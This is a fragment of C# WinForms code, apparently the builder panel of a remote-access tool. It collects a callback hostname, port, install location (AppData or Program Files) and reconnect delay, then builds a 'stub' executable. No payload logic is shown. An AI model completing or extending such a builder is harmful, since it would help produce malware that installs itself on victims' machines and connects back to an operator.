private void button3_Click(object sender, EventArgs e) { InstallationPath path; switch (cbPath.SelectedIndex) { case 0: path = InstallationPath.Default; break; case 1: path = InstallationPath.AppData; break; case 2: path = InstallationPath.ProgramFiles; break; default: path = InstallationPath.Default; break; } var settings = new BuildSettings(txtHostname.Text, (int) numPort.Value, txtFilename.Text, path, (int) numDelay.Value, cbMerge.Checked); if (cbProfile.Text == "") Globals.SettingsHelper.CreateBuilderProfile( PromptDialog.Create("Enter profile name:", "Create new profile"), settings); else Globals.SettingsHelper.UpdateBuilderProfile(cbProfile.SelectedItem.ToString(), _settings => { _settings.Filename = settings.Filename; _settings.Hostname = settings.Hostname; _settings.InstallationPath = settings.InstallationPath; _settings.MergeDependencies = settings.MergeDependencies; _settings.Port = settings.Port; _settings.ReconnectDelay = settings.ReconnectDelay; }); }
private void button1_Click(object sender, EventArgs e) { InstallationPath path; switch (cbPath.SelectedIndex) { case 0: path = InstallationPath.Default; break; case 1: path = InstallationPath.AppData; break; case 2: path = InstallationPath.ProgramFiles; break; default: path = InstallationPath.Default; break; } var settings = new BuildSettings(txtHostname.Text, (int) numPort.Value, txtFilename.Text, path, (int) numDelay.Value, cbMerge.Checked); var builder = new StubBuilder(settings); using (var ofd = new SaveFileDialog()) { ofd.Filter = "Executable (*.exe)|*.exe"; if (ofd.ShowDialog() == DialogResult.OK) builder.Build(ofd.FileName); } }
public StubBuilder(BuildSettings settings) { _settings = settings; }